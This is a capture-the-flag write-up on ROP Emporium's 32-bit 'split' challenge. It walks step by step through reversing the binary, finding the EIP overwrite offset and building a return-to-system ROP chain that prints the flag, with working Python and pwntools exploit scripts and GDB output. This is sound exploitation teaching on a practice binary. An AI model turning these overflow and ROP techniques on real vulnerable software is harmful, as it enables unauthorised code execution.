Binary Exploitation
Solving split — ROP Emporium Part 2
Continuing the ROP Emporium series with the 'split' challenge, building a ROP chain against the 32-bit (x86) binary one gadget at a time.
- ROP
- pwn
- x86
Hey ya’ll!
Today, we’re going to be continuing with our ROP Emporium series, talking about the Split challenge. You can find the details of the challenge as well as challenge binaries over at ROP Emporium’s challenge page. Today, we’ll work on the 32-bit version (x86 / i386) of the executable to build our ROP chain. To get started though, we need to understand what we’re working with.
Reversing the Split executable in Binary Ninja
So we open the binary and let it perform it’s initial analysis (this should be relatively quick even on the personal edition due to the small size of the executable).
As always, we’re immediately presented with the _start function for the binary. In the left hand side bar, we see a few functions which are interesting or will be of use to us:
- system (highlighted in orange, 5th function in the list)
- main (highlighted in white, 16th function in the list)
- pwnme (highlighted in white, 17th function in the list)
- usefulFunction (highlighted in white, 18th function in the list)
These catch my attention for a few reasons. First, system is of interest to us because we know from the challenge description that we need to use the system command to execute our command to display the flag. We know this from the hint that is given, “I’ll let you in on a secret; that useful string “/bin/cat flag.txt” is still present in this binary, as is a call to system().”
Second, main is of interest because looking at our _start function, we can see that it calls main, so this is most likely where pwnme or other functions are being called from. A quick look at the main function’s disassembly confirms this (the specific line of interest is highlighted in orange):
Simplified using Binary Ninja’s medium intermediate language:
(view full size, opens in a new tab)
split32 _main in Binary Ninja’s medium intermediate language
With this in mind, let’s dig right into pwnme and see what’s going on there. We can do this by double clicking on the function name, pwnme, in the assembly or IL on screen. When we do this, we see that the pwnme function is pretty similar to what we had seen in the ret2win challenge binary:
We notice that once again we’re using fgets to load data into memory. Looking at the assembly, we can see that the load effective address (lea) that we noticed in ret2win is still loading 40 (0x28) bytes:
push eax {var_34}
push 0x60 {var_38}
lea eax, [ebp-0x28 {var_2c}]
push eax {var_2c} {var_3c_1}
call fgets
Let’s verify that we can crash the binary with a 41 byte payload
Exploiting the split executable manually
So as we said, let’s crash the program. We’ll use python to generate a 41 byte payload of A’s and give that to the program
Perfect, this means things are occurring how we expect. Let’s take a look at if we have control over EIP and where it is. Unlike the ret2win challenge where we used metasploit-framework’s pattern_create.rb and pattern_offset.rb, today we’ll use GDB PEDA (GNU Debugger with the Python Exploit Development Assistance add-on) to generate a pattern and locate the offset of it.
First, let’s make sure we are overwriting EIP:
root@kali:~/rop-emporium/split# python -c 'print("A"*50)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root@kali:~/rop-emporium/split# gdb split32 -q
Reading symbols from split32...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /root/rop-emporium/split/split32
split by ROP Emporium
32bits
.
Contriving a reason to ask user for data...
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
.
Program received signal SIGSEGV, Segmentation fault.
This succcessfully crashes the program, giving us the following output in gdb-peda:
You’ll notice that this output is a bit more direct than our previous GDB use, as it immediately shows us the registers and other interesting data at the time of the crash. We can see quickly that EIP was successfully overwritten by our A’s, on the line:
EIP: 0x41414141 ('AAAA')
With this successful, let’s figure out where this is located. In peda, we’ll use the “pattern” command to generate a pattern of length 50, which we’ll give to the program, like so:
gdb-peda$ pattern create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ run
Starting program: /root/rop-emporium/split/split32
split by ROP Emporium
32bits
.
Contriving a reason to ask user for data...
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
.
Program received signal SIGSEGV, Segmentation fault.
With our pattern created we can run the program again using the run command and pass our pattern to the program to cause a crash with unique pattern data. With the program crashed, we then use the pattern search to locate the pattern offset:
Awesome, so we have control over EIP at offset 44. Now we need to do the hard part, and figure out how to call system and cat the flag file. To do this, we’re going to need a little bit of information. First, we need to know where the command to cat the flag out is, and second, we need to know where the system command is. Let’s find these.
If we start off looking for system, we’re going to look in the useful function, since that hints to us that, well, it could be useful. In this, we see something that would be valuable to us. A call to system, and a reference to push /bin/ls:
08048652 push 0x8048747 {var_1c} {"/bin/ls"}
08048657 call system
This looks like what we basically want to achieve, except we don’t actually want to execute /bin/ls, we want to execute /bin/cat flag.txt. Let’s modify our exploit though and see if we can use this, as it is, to perform a directory listing.
To do this, we’ll replace our EIP value, at offset 44, with the memory address of the push /bin/ls into the stack. The exploit will look like so:
(view full size, opens in a new tab)
system(/bin/ls) call
Voilà! We have a working system command. This is a great start. Now though, we need to replace the /bin/ls command with our own command. But what is the system command really doing here? Well, in x86, the way that a call works is that we perform the call, and the argument(s) will be popped off the stack by that function. Normally, the system command in c would have the function signature of:
int system(const char *command)
This means that system is going to pop a single argument / value off of the stack and use that as the command. In this case, it’s going to pop “/bin/ls” off of the stack and execute that. We can verify this by setting a break point and looking at what ESP, the extended stack pointer which points to the top of the stack. This means that as we add to the stack via PUSH commands, ESP will be decremented, since the stack grows down and when we remove data from the stack via POP commands, ESP will be incremented.
Let’s take a look at what’s at the top of the stack (ESP) when we hit the system command. To do this, we’ll set a breakpoint at 0x08048657 like so:
root@kali:~/rop-emporium/split# python exploit.py > input
root@kali:~/rop-emporium/split# gdb -q split32
Reading symbols from split32...(no debugging symbols found)...done.
gdb-peda$ break *0x08048657
Breakpoint 1 at 0x8048657
gdb-peda$ run
When we do this, we successfully hit our breakpoint, as seen below:
Looking at this, we see that the next instruction is the call system() command, and our ESP register contains a pointer to /bin/ls. Let’s see if we can replace this pointer with one of our own, such as the pointer to /bin/cat. To do this, we modify our exploit so that we send padding up until overwrite EIP (44 bytes of padding in this case). Once we are at EIP, we want to have EIP point to the call system command located at 0x08048657. This is because following that, in the next 4 bytes, which will go onto the stack, we can put the address of /bin/cat flag.txt.
Sadly, we don’t know where that is yet though. So let’s switch from the graph view to the strings view. Doing so, we’ll quickly see the /bin/cat flag.txt command located at 0x0804a030:
With that in mind, lets update our exploit code to:
#!/usr/bin/env python
#
padding = 'A'*44
call_system_addr = '\x57\x86\x04\x08'
bin_cat_flag_addr = '\x30\xa0\x04\x08'
evil_buf = padding + call_system_addr + bin_cat_flag_addr
#
print(evil_buf)
We don’t want to run this though and just hope that the /bin/cat pointer is actually put into ESP though, we want to be sure. The easiest way for us to do this is to set a breakpoint at the memory address for call system and verify that the /bin/cat flag.txt address is in the ESP register as we expect.
root@kali:~/rop-emporium/split# python exploit.py > input
root@kali:~/rop-emporium/split# gdb -q split32
Reading symbols from split32...(no debugging symbols found)...done.
gdb-peda$ break *0x08048657
Breakpoint 1 at 0x8048657
gdb-peda$ run < input
Starting program: /root/rop-emporium/split/split32 < input
split by ROP Emporium
32bits
.
Contriving a reason to ask user for data...
>
Which causes us to hit our breakpoint, and display the register information we want to view:
Fantastic! This seems to be doing what we hoped for! If we run it without gdb, we see that we get the flag, as we expected.
Automating Exploitation using Pwntools
Now that we have a working manual exploit, let’s simplify things by using pwntools. Ideally, we’d start with pwntools instead, but I find that the more time we spend learning how things work manually, the better off we’ll be when things go wrong when using libraries like pwntools
To get started, we need to load the split32 elf and ensure that it has both a system command and the string /bin/cat flag.txt. Luckily, pwntools makes it easy for us to do this using the ELF class’s symbols dictionary and search method, like so. Note first that search normally returns a generator object, so we have to use the next() method to access the actual value and secondly that we are using format strings with the 08X notation to specify that we want the value to be formatted as an eight digit hex value, not shortened if the first number is a zero.
#!/usr/bin/env python
from pwn import *
# Prepare the binary
context.update(binary='split32', log_level='info')
e = ELF('split32')
# Locate the system and /bin/cat flag.txt addresses
call_system_addr = e.symbols['system']
cat_flag_addr = e.search('/bin/cat flag.txt').next()
# Print these to screen so we can compare with our previous exploit
info('call system addr: 0x{sa:08X}'.format(sa=call_system_addr))
info('/bin/cat flag.txt addr: 0x{cf:08X}'.format(cf=cat_flag_addr))
When we do this, we see that we get a different location for system than what we had used. That’s odd, let’s try to understand why pwntools found this one instead.
If we look into this more, we’ll see that pwntools has located the address of the system call that was in our left hand sidebar:
Interesting, let’s see if we can adjust our manual exploit to leverage this instead and see if it works the same way our current exploit does. We’ll start off by replacing the call system address with our new system address, and check what happens in gdb-peda, like so:
root@kali:~/rop-emporium/split# python exploit-pwntools-system.py > input
root@kali:~/rop-emporium/split# gdb -q split32
Reading symbols from split32...(no debugging symbols found)...done.
gdb-peda$ break *0x08048430
Breakpoint 1 at 0x8048430
gdb-peda$ run < input
Starting program: /root/rop-emporium/split/split32 < input
split by ROP Emporium
32bits
.
Contriving a reason to ask user for data...
>
Doing so, we see our breakpoint hit:
Great! Our value is in ESP. At first glance, everything looks perfect, but if look closely we’ll notice a difference between this and our previous code. Unlike before, where we were jumping to a direct call system command, this is actually a jump to system. Let’s run the current exploit and see if it does what we would have expected before:
root@kali:~/rop-emporium/split# cat exploit-pwntools-system.py
#!/usr/bin/env python
#
padding = 'A'*44
call_system_addr = '\x30\x84\x04\x08'
bin_cat_flag_addr = '\x30\xa0\x04\x08'
evil_buf = padding + call_system_addr + bin_cat_flag_addr
#
print(evil_buf)
root@kali:~/rop-emporium/split# python exploit-pwntools-system.py | ./split32
split by ROP Emporium
32bits
.
Contriving a reason to ask user for data...
> Segmentation fault
No flag! This change from call system to jmp dword system@got broke something. If we look into this form of exploitation, you may notice the exploit type that’s occurring here. We’ve actually changed how we’re performing our exploit, and instead of using a system call method, we’re instead using a ret2plc, which is similar to ret2libc, in this example. This means that in between our return to system and our first argument, there is actually supposed to be a dword length return address. I highly recommend reading this paper which explains how this functions and the reason for this space in the stack. This leaves us with:
#!/usr/bin/env python
#
padding = 'A'*44
call_system_addr = '\x30\x84\x04\x08'
dword_padding = 'JUMP'
bin_cat_flag_addr = '\x30\xa0\x04\x08'
evil_buf = padding + call_system_addr + dword_padding + bin_cat_flag_addr
#
print(evil_buf)
Running this, we now get our flag!
Now that we have our manual exploit working again, let’s go back to pwntools and continue moving forward with our pwntools exploit. Now that we see what our actual target addresses are that pwntools will be using, we can create our ROP chain. Luckily, there is an easy way to leverage system within pwntools, and we can call system on our /bin/cat flag.txt string using the ROP class’s system function. Then, using the dump method, we can view the ROP chain that pwntools has generated for us:
Nice! This shows that it’s going to call system, place a four byte pad between the system jump double word and the command string pointer. This matches our manual exploit! With our ROP chain together, we’ll use the same process of generating a cyclic pattern, loading the core file and identifying the offset of EIP
#!/usr/bin/env python
#
from pwn import *
#
# Prepare the binary
context.update(binary='split32', log_level='info')
e = ELF('split32')
#
call_system_addr = e.symbols['system']
cat_flag_addr = e.search('/bin/cat flag.txt').next()
#
info('call system addr: 0x{sa:08X}'.format(sa=call_system_addr))
info('/bin/cat flag.txt addr: 0x{cf:08X}'.format(cf=cat_flag_addr))
#
# Load the ELF into the ROP class so that we can identify symbols
# and gadgets
rop = ROP(e)
rop.system(cat_flag_addr)
info(rop.dump())
#
# Locate EIP
buf = cyclic(50)
#
info('Starting process to location the value of EIP at the crash time')
# Start the elf, and wait for it to be ready for input
p = process(e.path)
# Wait till the process is ready for our input
p.recvuntil('> ')
# Send our exploit
p.sendline(buf)
# Wait for the crash to occur
p.wait()
#
# The program should have crashed now
info('Loading core dump to identify the cause of the crash')
core = Coredump('core')
eip_val = core.eip
info('EIP contained {v:08X} at the time of the crash'.format(v=eip_val))
offset = cyclic_find(eip_val)
info('EIP is located at offset {o}'.format(o=int(offset)))
Running this, we see that we have successfully located the value of EIP:
With the offset located, we can now send our final exploit payload, causing us to receive a shell. We’ll do this by restarting the process, creating our payload and sending it to the process. Unlike before, we’ll use the fit method to create our payload this time. This method is talked about more in the pwntools documentation, but essentially it takes a dictionary with offsets as keys and the item that should go there as the value. This will leave us with the following exploit:
#!/usr/bin/env python
#
from pwn import *
#
# Prepare the binary
context.update(binary='split32', log_level='info')
e = ELF('split32')
#
call_system_addr = e.symbols['system']
cat_flag_addr = e.search('/bin/cat flag.txt').next()
#
info('call system addr: 0x{sa:08X}'.format(sa=call_system_addr))
info('/bin/cat flag.txt addr: 0x{cf:08X}'.format(cf=cat_flag_addr))
#
# Load the ELF into the ROP class so that we can identify symbols
# and gadgets
rop = ROP(e)
rop.system(cat_flag_addr)
info(rop.dump())
#
# Locate EIP
buf = cyclic(50)
#
info('Starting process to location the value of EIP at the crash time')
# Start the elf, and wait for it to be ready for input
p = process(e.path)
# Wait till the process is ready for our input
p.recvuntil('> ')
# Send our exploit
p.sendline(buf)
# Wait for the crash to occur
p.wait()
#
# The program should have crashed now
info('Loading core dump to identify the cause of the crash')
core = Coredump('core')
eip_val = core.eip
info('EIP contained {v:08X} at the time of the crash'.format(v=eip_val))
offset = cyclic_find(eip_val)
info('EIP is located at offset {o}'.format(o=int(offset)))
# Build our evil buffer
evil_buf = fit({ offset: str(rop) })
p = process(e.path)
p.recvuntil('> ')
# Send our evil buffer
p.sendline(evil_buf)
# Receive our flag and print it to screen
flag = p.recvline()
success(flag)
Success! We’ve successfully built our first ROP chain both manually and using automation and successfully read the flag.